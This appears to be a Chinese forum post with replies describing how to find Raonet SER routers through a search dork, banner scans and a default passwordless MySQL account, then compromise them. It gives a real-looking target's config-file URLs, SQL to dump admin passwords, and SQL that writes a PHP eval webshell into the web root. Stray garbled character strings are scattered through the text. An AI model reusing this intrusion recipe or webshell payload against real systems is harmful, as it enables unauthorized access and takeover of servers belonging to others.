利用某路由器漏洞入侵国外站点

admin

  寻找存在漏洞的路由器方法：

1：google搜索'Raonet Subscriber Ethernet Router'

2：使用WebDAVScan扫80端口，http banner为thttpd/2.21b 23apr2001

3：扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14，默认有一个高权限的帐户mysql，口令为空。

//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成......


+ D2 W; y# ]) L5 H4 {
0 ~* S: z: f* O+ ]9 ?: z入侵步骤：

: I! t, t3 p6 g% n7 D1.爆web路径，http://www.yu1u.org/src/jpgraph_line.php
/ e# `2 w, u7 V1 j( y
0 f) }0 b- P( u6 x& x5 g& V; B2:查看数据库配置文件，http://www.yu1u.org/inc/conn_db.inc
  C, M9 v) }* |3：得到密码后连接，查看GUI管理密码：
5 V5 P. E6 o  z$ E  Q. fuse ser_500
select id,passwd from user;
* ^6 M1 \9 w2 s4:通过数据库写入webshell，执行命令：
3 }1 E& r) [$ K  Kuse mysql;
- }0 W7 \2 M2 ocreate table ok(cmd TEXT);
insert into ok values("<?php @eval($_POST[cmd])?>");
select * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";
drop table ok;
% U. S' R: _2 t
) `! X4 u& c6 {2 Y5 P, {5:连接后门shell.php
8 q  ]7 B* Q: m! S
1 E. r+ h& I! M! R8 L+ E6. 搞定！

Anthony~

这个后果可以很严重的说

jos666

不错哦，黑服务器补洞。。